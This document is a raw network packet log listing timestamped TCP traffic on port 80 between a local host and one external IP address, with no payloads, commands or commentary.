Feb 21, 2025 01:52:39.957865953 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.957930088 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.957930088 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.957979918 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.957988977 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.957993031 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.957995892 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958004951 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958004951 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958100080 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958100080 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958163023 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958163023 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958189011 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958197117 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958200932 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958323956 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958391905 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958391905 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958400965 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958492994 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958551884 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958599091 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958659887 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958659887 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958719969 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958729982 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.958741903 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958838940 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958838940 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.958955050 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959059954 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959070921 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959160089 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959160089 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959223032 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959259033 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959259033 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959274054 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959333897 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959336042 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959336996 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959484100 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959538937 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959554911 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959614038 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959644079 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959718943 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959768057 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959784031 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959784031 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959805012 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959853888 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959896088 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.959975004 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.959984064 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960001945 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960001945 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960028887 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960037947 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960261106 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960330009 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960330009 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960359097 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960369110 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960431099 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960431099 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960447073 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960459948 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960525036 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960525036 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960532904 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960542917 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960695028 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960715055 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960750103 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960803986 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960804939 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.960858107 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.960988998 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961067915 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961081982 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961127043 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961219072 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961322069 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961425066 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961482048 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.961493015 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.961565971 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961606979 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961606979 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961635113 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.961678028 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961678028 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961915016 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.961935043 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.961990118 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.962009907 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962009907 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962085962 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962085962 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962155104 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962155104 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962219000 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962219000 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962353945 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962421894 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962421894 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962511063 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962608099 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962624073 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.962635040 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.962644100 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.962654114 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.962661982 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.962671041 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.962754011 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962820053 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.962820053 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963028908 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963038921 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963048935 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963059902 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963078022 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963088989 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963108063 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963190079 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963190079 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963260889 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963262081 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963325977 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963326931 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963351011 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963361025 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963370085 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963392973 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963392973 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963469982 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963592052 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963615894 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963654041 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963654041 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963709116 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963792086 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963810921 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963819981 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.963870049 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963870049 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.963948011 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.964009047 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964060068 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.964113951 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.964113951 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.964144945 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964215994 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964226007 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964236021 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964306116 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964370012 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.964430094 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964472055 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.964472055 CET	49823	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:39.964649916 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964804888 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964948893 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.964958906 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965303898 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965326071 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965508938 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965517998 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965528011 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965681076 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965770006 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965780020 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.965930939 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966022015 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966064930 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966073990 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966187000 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966289997 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966547012 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966583014 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966634989 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966881990 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966976881 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.966985941 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.967916965 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.968540907 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.968806028 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.968970060 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.968980074 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.969160080 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.969168901 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.969290972 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.969415903 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:39.969449997 CET	80	49823	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.400168896 CET	49702	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.400563955 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.405183077 CET	80	49702	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.405591011 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.405699968 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.405950069 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406054020 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406125069 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406168938 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406219959 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406264067 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406311989 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406352997 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406400919 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406447887 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406493902 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406534910 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406579971 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406621933 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406671047 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406713009 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406759024 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406804085 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406847954 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406893015 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406939030 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.406985044 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407028913 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407072067 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407167912 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407213926 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407257080 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407304049 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407347918 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407394886 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407439947 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407488108 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407536983 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407582045 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407635927 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407680035 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407730103 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407766104 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407814980 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407859087 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407906055 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407946110 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.407985926 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408034086 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408080101 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408121109 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408164024 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408207893 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408262014 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408308983 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408359051 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408401966 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408447981 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408493996 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408540964 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408586025 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408632040 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408674002 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408718109 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408761024 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408809900 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408855915 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408904076 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408948898 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.408994913 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409049988 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409094095 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409137011 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409183979 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409225941 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409276009 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409315109 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409359932 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409404039 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409454107 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409493923 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409543037 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409588099 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409635067 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409715891 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409810066 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409883022 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409924030 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.409972906 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410017967 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410067081 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410109043 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410156012 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410197973 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410269022 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410321951 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410466909 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410537958 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410571098 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410608053 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410645962 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410681009 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410712004 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410747051 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410775900 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410818100 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410847902 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410887003 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410912991 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.410916090 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410954952 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.410998106 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411031008 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411055088 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411071062 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411107063 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411139011 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411175013 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411205053 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411242008 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411259890 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411272049 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411273956 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411282063 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411292076 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411310911 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411317110 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411329031 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411338091 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411350012 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411353111 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411387920 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411422968 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411422968 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411448002 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411468983 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411499977 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411540031 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411556959 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411567926 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411580086 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411609888 CET	49827	80	192.168.2.10	185.196.8.37
Feb 21, 2025 01:52:40.411642075 CET	80	49827	185.196.8.37	192.168.2.10
Feb 21, 2025 01:52:40.411643028 CET	49827	80	192.168.2.10	185.196.8.37
